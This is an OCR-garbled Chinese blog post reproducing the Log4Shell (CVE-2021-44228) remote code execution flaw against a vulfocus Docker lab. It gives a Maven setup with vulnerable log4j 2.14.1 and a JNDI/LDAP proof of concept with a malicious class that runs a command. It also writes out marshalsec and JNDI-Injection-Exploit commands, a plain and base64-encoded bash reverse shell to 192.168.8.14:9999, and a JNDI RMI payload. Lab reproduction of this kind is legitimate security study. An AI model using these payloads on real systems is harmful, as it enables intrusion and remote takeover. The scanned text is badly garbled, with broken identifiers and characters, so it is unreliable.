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<?xml version="1.0" encoding="UTF-8"?>
< ="http://maven.apache.org/POM/4.0.0"
="http://www.w3.0rg/2001/XMLSchema-instance"

="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
>4.0.0</ >

>org.example</
>log4j-rce</
>1.0-SNAPSHOT</

>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/Llog4j-core -->
>
>org.apache.logging.log4j</
>log4j-core</ >
>2.14.1</ >
</ >
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/Log4j-api -->
>
>org.apache.logging.log4j</
>log4j-api</ >
>2.14.1</
>

README.md pom.xml (logdj-rce) logdj java
<?xml version encoding
<project xmlns
xmlns:
:schemalocation
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>log4j-rce</artifactld>
<version>1.0-SNAPSHOT</version>

<dependencies>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>

</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactlId>log4j-api</artifactlId>
<version>2.14.1</version>
</dependency>
</dependencies>

</project> CSDN @Big&Bird




2. m5POC

LogManager;
Logger;

public class logdj {
private static final Logger logger = LogManager.getlLogger(log4j.class);

public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:1ldap://127.0.0.1:8899/Log4jRCE}");

README.md pom.xml (logdj-rce) logdj.java
org.apache.logging.log4j.LogManager
org.apache.logging.log4j.Logger

Logger = LogManager.getlLogger(log4i.

main(String[] args) {
System.setProperty(
.error(

3. MELBER

public class Log4jRCE {
static {
try {
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();

}catch (Exception e){

e.printStackTrace();
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me () .exec(cmd) .waitFor()

SR JE % ¥ Nclass SO

javac Log4jRCE.java

¥ & X B Log4jRCE java R E AT B B, FiX B ¥ Log4jRCE classifi®| T HAt B, ARlogd|javaisfTit4ris B3] 4 i
Log4jRCE, miARhtpiZfE F# T .

4. Ehttpk 5
{3 F pythonfE AU MK B % T g — M Hittp ARk %%
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< - G A F==| 1921688141234

Directory listing for /

s Log4jRCE.class
» Log4jRCE.java
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5. %% 5 LDAPHR 55

TF#imarshalsec TiH https://github.com/mbechler/marshalsec



java8F, f#iF maven ¥JEmvn clean package -DskipTests 4 Al Mjart

Ik

"’3:_{

archive-tmp

classes
generated-sources
generated-test-sources
maven-archiver

mawven-status

test-classes
| £| marshalsec-0.0.3-SNAPSHOT jar
| £ marshalsec-0.0.3-SNAPSHOT-all jar 2021/9/28 11:10 Executable Jar File 41,569 KB

Executable Jar File 100 KB
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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.8.14:1234/#Log4jRCE" 88




i21Tlog4jjava, BV A& B RIFPATBEREH K "calc" i 2

org.apache.logging.log4j.LogManager

org.apache.logging.log4j.Logger

log4j {
Logger = LogManager.getlog
I

.error(

alculator

Standard History Memory

0 There's no history yet
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docker pull vulfocus/log4j2-rce-2021-12-09:1latest



[root@localhost homelz
[root@localhost homel# docker pull
Pulling from vulfocus/log
: Pull complete
Pull complete
Pull complete
Pull complete
Pull complete
4: Pull complete
49ed4882bfee3fef1787adf
Downloaded newer image for wulfoc

IMAGE ID

pos iyt

dongtai/

dongtais
dongtai/dongtali-
dongtai/dongtai-webapi

docker run -d -p 8080:8080 vulfocus/log rce-2021-12-09:1latest

home]#
homel#
homel# docker run -d -
1f df8cc7b3es4dfo4dl
[root@localh
C 4 PORTS NAMES
a E f a zaka

9 /bash /opt/dong. t_dongtai-engine-task_1
febbefedeadn fdongtai /docker-entrypoint. a ¥ a t_dongtai-web_1

Pl / t_dongtai-openapi_1
dongtai/dongtai-mysql:1.1.0 “docker-entrypoin 4 weeks ago s E a t_dongtai-mysql_1

&< = O A Fz== | 192.168.10.171:3080

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Sat Dec 11 01:18:41 GMT 2021
There was an unexpected error (type=Not Found, status=404).
No message available

% Bishellfr 4
bash -i >& /dev/tcp/192.168.8.14/9999 0>&1

Vi EPHE: https://mww.jackson-t.ca/runtime-exec-payloads.html, ¥ & #shelldy 4 & itexec()ZBH T -

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8XOTIUMTY4LjguMTQvOTk50SAWPiYx} |{base64,-d}|{bash,-i}




= Z F 2|IND-Injection-Exploit( https://github.com/welkln/INDI-Injection-Exploit )& 3N A rmiflldap k% 2%

java -jar JINDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIUuMTY4Ljgu
MTQVOTk50SAWPiYx}|{base64,-d}|{bash,-i}" -A "192.168.8.14"
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. \ncbd. exe 9999

0 & http://192.168.10.171:8080/hello
< ~ @ 192.168.10.171:8080/hello

@ Disable- X Cookies- # C55- =|Forms- [Images- ) Information- [} Miscellaneous- 4" Outline- [i/Resize- ¥ Tools- = Vie

NT * = & SQL- XS5 Encryption- Encoding- Other-
&= Load URL http: A4192 16310 171:3030/hella
B split URL

v Execute
+| Enable Post data Enable Referrer

Post data pavload=t {jndi rmi://192. 168, 5. 14: 1099/ n3zzqn}

[



. \ncéd, exe

CSDN @Bigé&Bird



	Apache Log4j2代码执行漏洞复现（cve-2021-44228）
	目录
	一、漏洞描述
	二、影响范围
	三、漏洞复现
	1、创建一个maven项目，并导入log4j的依赖包
	2、编写POC
	3、编写恶意类
	4、起http服务
	5、编译并开启LDAP服务
	6、运行POC

	四、反弹shell
	1、靶场搭建
	2、访问漏洞环境，环境部署成功
	3、起RMI和Ldap服务
	4、开启nc监听
	5、火狐浏览器进行验证
	6、反弹shell成功



